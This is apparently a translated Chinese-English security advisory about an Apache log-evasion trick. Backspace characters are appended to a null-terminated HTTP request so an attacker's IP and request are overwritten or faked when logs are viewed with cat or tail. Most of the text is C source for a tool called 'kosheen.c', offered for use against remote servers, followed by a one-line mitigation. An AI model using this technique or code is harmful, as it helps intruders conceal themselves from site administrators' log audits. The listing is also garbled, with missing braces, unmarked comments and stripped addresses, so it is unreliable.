Remote hiding from access_log and error_log


影响:用工具审核日志文件Logfile auditing with tools that print the contents of the
file to the screen.

注意: 这整个建议基于反复验证的结果之上. 我们不能确保下面的信息100%正确.

I. 问题描述:
当发送了退格字符,一个NULL终止了请求后,我们将获得一个回应, 我们请求的数据包, 但访问日志中我们的登录信息有一点改变.
当有人企图编辑日志文件或可能将它编辑到一个设备上(例如: /dev/lp0)时,我们能够改写我们的IP地址.

所以, 这样的事仅仅发生在某个站点的管理员用'cat'或'tail'或诸如此类的命令检查日志文件时,通常这些命令附带grep运行.


[incubus:~]$ nc 80
GET /index.php HTTP/1.0
content (output) of index.php

[incubus:~]$ ./localghost index.php
content (output) of index.php

Hmm.. not very interesting eh? Well, let's take a look at the webserver's

[root@test logs]# tail -n 1 access_log - - [27/Dec/2000:04:42:26 +0100] "GET /index.php HTTP/1.0" 200 2362
/* is the IP of the attacker */

[root@test logs]# tail -n 1 access_log - - [31/Feb/1492:01:23:45 +3133] "GET /index.htm HTTP/1.1" 200 2362

Unfortunaltely, if you open access_log in any decent editor, it will notice
the '\x08' chars ( \x08 == backspace), and display 'em as dots.

If you want to display a fake ip address, you'll have to calculate the length
of the entry in the log file. I suggest you keep the fake ipaddress as *real*
as can be, because is more suspicious than, let's say

II. 影响:

这不是一个真正的漏洞, 但它能在cgi扫描器或其他工具中使用. 下面的源代码是在slack7 linux (2.2.17) box中编译的,
并在Apache 1.3.14服务器上经过测试.

/* --| BOF |-- */

kosheen.c - hides you from logfiles
"i'll hide you, away from danger"; -kosheen, 2000

This will display false values in a remote site's access_log
and error_log. Read Securax Advisory #12 for more info.

Got the title of this source from the radio, and guess what song
they were playing. :)

All my love to Tessa.
Maximum respect to vorlon, cicero, root-dude, lamagra, f0bic, Zoa,
zymo, sentinel, woshy, bob, suPC, uptx, and all great ppl i forgot...


#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
int usage(char *progname);
int main(int argc, char **argv){
int sock, i;
char buf[4096]; /* change this value !! */
struct sockaddr_in sin;
struct hostent *he;
if (argc < 3) usage(argv[0]);
if ((he=gethostbyname(argv[1])) == NULL){
fprintf(stderr, "Unknown host\n\n");
sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0) herror("oops: ");
sin.sin_family = AF_INET;
sin.sin_addr = *((struct in_addr *)he->h_addr);
sin.sin_port = htons(80);
bzero(buf, sizeof(buf));
strncpy (buf,"GET /", 5);
strcat (buf, argv[2]); /* okay.. overflow this buffer and get a
errm.. crappy non-suid shell! :)
So, don't mailbomb me this is overflowable */

strncat (buf," HTTP/1.0\x00", 14);
for (i=0; i< 600; i++) strncat(buf,"\x08", 1); /* change the 600
if you are using
quiet large url's */
Uncomment next line (and change) if you want a fake address displayed
strcat (buf," - - [31/Feb/1492:01:23:45 +3133] \"GET /index.htm HTTP/1.1");

strncat (buf,"\r\n\r\n", 4);
if (connect(sock,(struct sockaddr *) &sin ,sizeof(sin)) < 0){
herror("connect() failed\n");
send(sock, buf, sizeof(buf), 0);
recv(sock, buf, sizeof(buf), 0);
printf ("%s", buf);

int usage(char *progname)
fprintf (stderr, "\nHmm.. Better use it like this: \n");
fprintf (stderr, "\t%s <server> <page>\n", progname);
fprintf (stderr, "\tWhere: <server> is the hostname.\n\t ");
fprintf (stderr, "<page> is the file you want.\n");
fprintf (stderr, " by incubus\n <>\n");

/* --| EOF |-- */

III. 可能的措施
不要用'cat'和'tail'(以及类似的)来检查日志文件, 使用一种更好的编辑器.